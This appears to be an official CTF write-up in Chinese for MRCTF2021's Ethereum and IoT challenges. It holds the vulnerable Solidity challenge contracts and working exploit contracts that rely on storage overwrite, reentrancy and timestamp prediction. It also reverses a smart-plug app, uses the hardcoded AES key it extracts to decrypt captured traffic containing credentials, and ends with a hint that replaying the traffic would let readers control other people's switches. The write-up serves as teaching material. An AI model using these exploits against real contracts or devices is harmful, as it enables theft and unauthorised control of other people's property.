MRCTF2021 官方ETH&IOT方向Wp

 

ETH

此次题目第二题比较简单,是根据已有题目改编,第一题稍微有一点点难度。不过也有很多方法解决题目。相对来说都极大的减小了解题难度以及逆向难度。
同时也恭喜Ainevsia?全部AK。

uncertainty

这题逆向的难度会比较大,需要各位慢慢的来读代码。
逆向分析不说了,其实这是一个我自己想法出的一个比较奇怪的题。可能会被各种各样的非预期秒,不过所有非预期其实也相当于预期,毕竟放宽的条件比较开。
因为如题目描述一样,这题的难易度由你本身而定。
我这里给出一种解法。 login时覆盖 target1 构造恶意合约,
其他随意覆盖,最后一个tt写入目标合约。
然后后面是一个 逻辑洞,和XCTF Final 2019的是一样的按理来说应该逆向不出来Merak这个函数所以构造完恶意合约需要改函数名的四字节地址。

这里我也给了一些其他的想法点,因为是在模仿一个出入栈过程,而且出栈写的有问题,这里有重入溢出。以及覆盖从而和后面的revise函数构成任意写。也可以在一定程度上完成此题。也希望大家能想出更有趣的方式。
为了防止一开始就被大哥追到我的复现记录,所以下面的代码除了上面地址是Ropsten,其他都是虚拟机上调的。

0xf73D2aA0e375AA98a47B2b7192B593283A98fE0e@Ropsten
flagaddress:0x2220f90af16c435f6E3A204dFDF275f9f1c4B029@Ropsten
pragma solidity ^0.4.17;
interface merak{
    function Merak(uint) view public returns (bool);
}
contract unlock{
    uint win;
    address owner;
    bool public winned;
    constructor()payable{
        owner=msg.sender;
        winned=false;
    }
    function getaddress()public returns(address)
    {
        return address(this);
    }
}
contract flag{
    address public owner;
    mapping(uint256=>bool) public is_successful;
    constructor()payable{
        owner=msg.sender;
    }
    function getaddress()public returns(address)
    {
        return address(this);
    }
    function getflag()public payable{
        challenge A=challenge(owner);
        require(A.gettingflag());
        is_successful[uint256(challenge(owner).tt())]=true;
    }
}
contract ez{
    uint win;
    address public owner;
    bool public success;
    constructor()payable{
        owner=msg.sender;
    }
    function getaddress()public returns(address)
    {
        return address(this);
    }
    function betting(uint ss) public payable{
        address target=challenge(owner).tt();
        merak hack=merak(target);
        if(!hack.Merak(ss)){
            win=ss;
            success=hack.Merak(win);
        }
    }
}
contract challenge{
    address public target1;
    address public target2;
    uint256  length;
    address public tt;
    bytes32[] public a;
    uint256 meiyong;
    address public target3;
    unlock A;
    flag B;
    ez C;
    struct edge{
        uint256 loginid;
        uint256 time;
       uint256 maybe;
        uint256 val;
        address logined;
    }
    constructor()payable{
         A=(new unlock).value(0.0001 ether)();
         B=(new flag).value(0.0001 ether)();
         C=(new ez).value(0.0001 ether)();
         target1=address(A);
         target2=address(B);
         target3=address(C);
    }
    function login(uint256 a,uint256 c)public payable{
        edge temp;
        temp.loginid=a;
        temp.time=now%1000;
        temp.maybe=c;
        temp.val=msg.value;
        temp.logined=msg.sender;
        tt=msg.sender;
    }
    function getaddress()public
    {
        target1=A.getaddress();
        target2=B.getaddress();
        target3=C.getaddress();
    }
    function pop()public{
        require(msg.value==0.1 ether);
        length--;
        for(uint256 i=0;i<=length;i++)
        a[i]=a[i+1];
        msg.sender.call.value(msg.value)();
        require(length>=0);
    }
    function push(bytes32 num)public{
        length++;
        require(msg.value==0.1 ether);
        msg.sender.transfer(msg.value);
        for(uint256 i=length;i>=1;i--)
        {
            a[i]=a[i-1];
        }
        a[0]=num;
    }
    function revise(bytes32 tt,uint256 len)public
    {
        require(len<=length,"not enough");
        a[len]=tt;
    }
    function gettingflag() public returns(bool)
    {
        ez(target3).betting(123);
        if (ez(target3).success()==true&&unlock(target1).winned()==true)
        return true;
        else 
        return false;
    }
}
contract tttt{
    bool public winned;
    constructor(){
        winned=true;
    }

}
contract exp{
    address target=0x0498B7c793D7432Cd9dB27fb02fc9cfdBAfA1Fd3;
    address flag1=0x26deFDAD139a48Ae4eeED0cb0ddfe3CE7CFF50a4;
    address s3=0xAcEDC012C1962f5EACFa165abFEf682D1D7b92d9;
    challenge A = challenge(target);
    flag B = flag(flag1);
    ez C = ez(s3);
    bool ta=true;
    constructor()payable{}
    function calculating()public returns (uint256)
    {
        bytes32 tar_get=keccak256(abi.encode(bytes32(address(this)),bytes32(0)));
        return uint256(tar_get);
    }
    function step1()public payable{
        A.login(90028314054265874215933433129302817480352835638,1);
    }
    function Merak(uint256) public returns (bool)
    {
        ta=!ta;
        return ta;
    }
    function gettheflag(){
        B.getflag();
    }
}

Check_IN

挺简单的一道题,是innovation最后两题的一种融合形式。
需要我们预测create地址,然后 now在同一区块都是一样的所以取一次一直打就可以了。

pragma solidity 0.4.24;
contract debug{
    mapping(address=>bool) public model;
    constructor(address fm)payable{
        if(address(this).balance==2.333 ether)
        {
            model[fm]=true;
        }
    }
    function()payable{}
}
contract challenge{
    uint public meiyong;
    mapping(uint=>bool) public is_successful;
    mapping(address=>bool) public addAuth;
    mapping(address=>uint256) public val;
        debug public debugmodel;
    constructor()payable{
        addAuth[msg.sender]=true;
    }
     modifier ctf()
    {
        require(addAuth[msg.sender]||debugmodel.model(msg.sender),"You are not allowed to use this");
        _;
    }
    function one(address target)public payable{
        debugmodel=new debug(target);
    }
    function betting()public payable ctf{
         if((now%10**8)*10**10 == msg.value){
            val[msg.sender] +=uint(msg.value);
            uint cost = msg.value;
            msg.sender.transfer(cost);
        }
    }
    function getflag()public ctf{
        require(val[msg.sender]>10**18);
        is_successful[uint(msg.sender)]=true;
    }
    function newinhere(address target)public ctf{
        addAuth[target]=true;
    }
}
contract exp{
    address target1=0xee11d67fd2de74eba2cce1f41e4af2a3ed8ced50;
    address target=0x5A0A4580bD7A2758794d4AD0Df9aaa26d561720C;
    challenge A = challenge(target);
    constructor()payable{
    }
    function step1()public payable{
        target1.transfer(2.333 ether);
        A.one(address(this));
    }
    function step2()public payable{
        uint val=(now%10**8)*10**10;
        for(uint i=0;i<=10;i++)
        A.betting.value(val)();
    }
    function getflag()public{
        A.getflag();
    }
    function dest()public{
        selfdestruct(0x604a00B360a5dD5eB54E4D6E7b053ACF4389d3dC);
    }
    function()payable{}
}

 

IOT

IOT_1

1.安装app,注册登陆并进行配置,从而可通过手机对设备进行控制。

2.分析app程序的目的是识别可能对控制设备有用的信息,如命令结构,加解密的细节,API keys,硬编码的敏感数据,配置信息等等。

使用JADx打开app程序,可在如图处发现SecurityAes类,其中的代码是引用native库libHomeMate_Security。

分析库函数所使用的工具是binaryninja,开头以Java_homateap_orvibo*为名的函数,是JAVA库函数的实现。(但我发现IDA7.5也能直接用,先按照教程的走把)

以..encryptByte函数分析为例,我们查看其汇编,发现其中有个变量pkKey,可猜测为publicKey,继续分析可知其地址为0x5d3c,而其中的字符串值为khgg…为AES的加密密钥。同时,通过函数名可知,该AES的加密方式为ECB模式。

至此,app的分析完成,接下来将通过网络抓包,分析其命令控制结构。

将手机连接至电脑热点并使用wireshark进行抓包。其中有数据包的DATA段有数据,并且可以结合app的分析可知是AES的加密密文。

这里一个值得注意的是,DATA的数据也是有一定的格式,具体的可以通过多个数据包比对,其大概格式从hd开头的42字节为包头,剩余的才为真正的加密密文。

按顺序使用app中的pkkey对DATA进行解密,其是一段json格式。可发现交互后,服务器会返回一个数据包,其中某个数据包有关键字段key。当用pkkey继续解密后续的数据包为乱码,尝试用key进行解密,解密成功。
“b’{“userName”:”15889708567”,”password”:”E19D5CD5AF0378DA05F63F891C7467AF”,”familyId”:”e2f5626652074d91a7da35c8da16f414”,”type”:4,”cmd”:2,”serial”:1356570365,”ver”:”3.7.0”,”debugInfo”:”Android_ZhiJia365_29_3.7.0.302”}\n\n\n\n\n\n\n\n\n\n’”

因此可以猜测,pkkey为密钥协商密钥,key为会话密钥。最后发现on/off的json格式为:
C: b’{“uid”:”807d3a12d853”,”userName”:”15889708567”,”deviceId”:”472e6881a34e41caae2c9038fb882901”,”order”:”on”,”value1”:0,”value2”:0,”value3”:0,”value4”:0,”delayTime”:0,”qualityOfService”:1,”defaultResponse”:1,”propertyResponse”:0,”cmd”:15,”serial”:13713215,”ver”:”3.7.0”,”debugInfo”:”Android_ZhiJia365_29_3.7.0.302”}\x08\x08\x08\x08\x08\x08\x08\x08’

S: b’{“uid”:”807d3a12d853”,”serial”:13713215,”cmd”:15,”status”:0}\x04\x04\x04\x04’

C: b’{“uid”:”807d3a12d853”,”userName”:”15889708567”,”deviceId”:”472e6881a34e41caae2c9038fb882901”,”order”:”off”,”value1”:1,”value2”:0,”value3”:0,”value4”:0,”delayTime”:0,”qualityOfService”:1,”defaultResponse”:1,”propertyResponse”:0,”cmd”:15,”serial”:1288327606,”ver”:”3.7.0”,”debugInfo”:”Android_ZhiJia365_29_3.7.0.302”}\x05\x05\x05\x05\x05’

S: b’{“uid”:”807d3a12d853”,”serial”:1288327606,”cmd”:15,”status”:0}\x02\x02’
最后附上脚本:

import requests
from Crypto.Cipher import AES
from binascii import b2a_hex,a2b_hex
from Crypto.Util.Padding import pad,unpad 

cipher = "6864007a706be0fda9c53735316264323634383239383463323538393036663430363739373462626366c572af966423d7df48219b11b928c1b07e4171b7fd1f929c106b211c59d6e864be62c6be54cf5826095f8b065245a04c35403e06338fe2f9bd39beb283bd07c6950624fd46dbf6434897665420ea75a8"

print(len(a2b_hex(cipher)))

aeskey = "khggd54865SNJHGF"
aesobj = AES.new(aeskey.encode("utf-8"),AES.MODE_ECB)
text = aesobj.decrypt(a2b_hex(cipher)[42:])
print(text)
'''
b'{"serial":1353588810,"cmd":0,"key":"139cH07mffsiGZ22","status":0}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'
'''

#get sessionkey

sessioncipher = "6864016a646bda6deec2373531626432363438323938346332353839303666343036373937346262636654a72681376f802f54fea242e1a8da4ced8e411c0f8d1bc0e7386765e30c5012828ec12951c818978cc1d199cc39cd7c090098ff4c212c2a0e9bd7d8de080febe3e170a2e70ad37abde38340b6c726f2730d2efc5a3479495d8ffd8d4d5e15385483d9e8a1a29825409e4924847f09d5cb1e6a71ed1bcae836c6d3630528172e9fab92fd837e50342215272c8c6fafb0a2c3b7b9128c0e368ed529a1caa390449e43cf77af258bc3e673edc5a00bf97e339d5633f1a2edfb9c700fb2969d4a34e50c8603412b4b934c7c4174933b3eeee1f3cc9b7258ebf79cf0afcd2960dc92a87500a4afb489ab691340107d55ea0eebeddb955b8e3fa619820ebb34cb47d8fbdbecd351e5d12b54586773b68d10aeaec06b330707e397b8e847a29db510b4b85414fa99d2d6d4b580ac2bfe700fa5365c9fd2c89527b38439e218752fc4fa"
sessionkey = "139cH07mffsiGZ22"
sessionobj = AES.new(sessionkey.encode("utf-8"),AES.MODE_ECB)

text = sessionobj.decrypt(a2b_hex(sessioncipher)[42:])
print(text)

'''
text = b'{"uid":"807d3a12d853","userName":"15889708567","deviceId":"472e6881a34e41caae2c9038fb882901","flag":"MRCTF{wHat_A_Smart_PluG!}","value1":1,"value2":0,"value3":0,"value4":0,"delayTime":0,"qualityOfService":1,"defaultResponse":1,"propertyResponse":0,"cmd":15,"serial":151988590,"ver":"3.7.0","debugInfo":"Android_Z"}\x06\x06\x06\x06\x06\x06'
'''

感兴趣的师傅可以研究下socket重放,以后就可以控制别人的开关啦

(完)